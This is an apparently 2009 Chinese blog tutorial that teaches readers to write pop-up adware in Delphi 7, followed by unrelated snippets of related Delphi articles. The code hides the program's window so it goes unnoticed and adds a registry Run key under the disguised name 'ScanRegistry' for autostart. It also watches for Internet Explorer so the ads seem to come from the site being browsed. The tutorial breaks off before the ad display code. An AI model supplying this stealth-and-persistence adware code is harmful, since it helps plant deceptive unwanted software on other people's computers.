教你用delphi写弹窗广告插件
教你用delphi写弹窗广告插件
2009年12月25日 星期五 00:45
教你用delphi写弹窗广告插件
引子
目前越来越多的广告插件在我们电脑上扎根驻地，时不时地弹出令人讨厌的广告，并且每当我们开机的时候都会弹出来，搞的很多小菜只能重装系统，
来解决这另人讨厌的广告！影响我们上网聊天，玩游戏，工作等等……很多小菜都不知道广告插件是什么，是怎么做出来的。
下面我就为大家揭开弹窗广告的真实面目，教大家如何很容易的自己也能编出
一个好的弹窗广告插件！
第一步 我们运行delphi7（地球人都知道，呵呵！）
如图1
我们运行delphi7，它是一个可视化编辑器，运行后程序会自动给我们建立一个窗体，便于我们操作。
我们的弹窗广告就是在form1上编辑出来的！
第二步 使广告程序开机自动运行与隐藏
双击form1，填写程序自动写入注册表功能，实现开机自动运行的目的。
如图2
procedure TForm1.FormCreate(Sender: TObject);
begin
Application.ShowMainForm:=False;//隐藏form窗体,这样做是为了不易被人发现！
reg:=tregistry.create;
reg.rootkey:=HKEY_LOCAL_MACHINE;
reg.openkey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
reg.WriteString('ScanRegistry','ad.exe');
reg.closekey;
reg.free;//写入注册表，目的是开机自动运行，我这里自动运行ad.exe，最后把程序保存为ad.exe
另外需要注意的是，在uses中一定要添加registry，在var中要添加reg:tregistry;
这点很重要哦，不然程序就不能运行了！很多小菜在编程的时候都不注意这点，最后使整个程序不能运行，但并不知道错误在哪。
做完这一步，我们的程序就可以写入注册表喽！
第三步 检测浏览器是否运行
弹窗广告插件一般都是在你浏览网页的时候，弹出广告。他们这样做的目的其实是为了嫁祸给你打开的网站，以为是网站弹出的广告呢！
这样做可以更好的隐藏广告插件。
下面我就教大家写一段代码，来实现这个功能！（前几步代码不动）
我现在在form1窗体上添加一个时间控件timer1,如图3
就是system里面的那个小时钟，很好找的。然后双击小时钟timer1时间控件，添加如下代码：
hWnd:=FindWindow('IEFrame',nil);//查找浏览器是否运行，如图4
同样和第三步一样，要在var中添加hWnd:THandle;
第四步 弹出讨厌的广告
继续在timer1中添加代码：
if hWnd<>0 then //如果发现浏览器运行，
相关文档：
procedure TfrmMain.FormCreate(Sender: TObject); //主窗体FormCreate事件
var FWidth:integer;
begin
if (screen.Width <> 1024) then //假设你设计程序时的分辨率为1024
begin
FWidth:=width;
scaled:=true;
& ......
转自大富翁http://www.delphibbs.com/keylife/iblog_show.asp?xid=30049
老陈有一个在外地工作的女儿，不能经常回来，老陈和她通过信件联系。他们的信会被邮递员投递到他们的信箱里。
这和Socket模型非常类似。下面我就以老陈接收信件为例讲解Socket I/O模型。
一：select模型
老陈非常想看到女儿的信。以� ......
在WIN32中的串口通讯（Delphi）
由在WIN32操作系统中禁止应用程序象DOS中那样直接访问计算机硬件，因此，无法象以前那样采用中断读写串口。但是在WIN32中我们可发采用两种方法访问串口：1、使用VB中的MSCOMM串口控件；2、采用API函数，本文主要介绍采用API函数实现串口通讯。
由于WM_COMMNOTIFY消息已被取消，故本文自� ......
exit: 退出函数体
abort: 遇到异常,安静处理,就是不显示不提示
break: 退出当前循环体,包括for ,while, repeat等循环体
continue: 结束循环内的本次处理,继续从循环体的开始位置继续执行
Exit 是跳出当前代码块，也就是当前函数，跳出后是要继续向下执行的（如果有后续代码）。
Abort 是从 EAbort 过来的，可以激发 ex ......
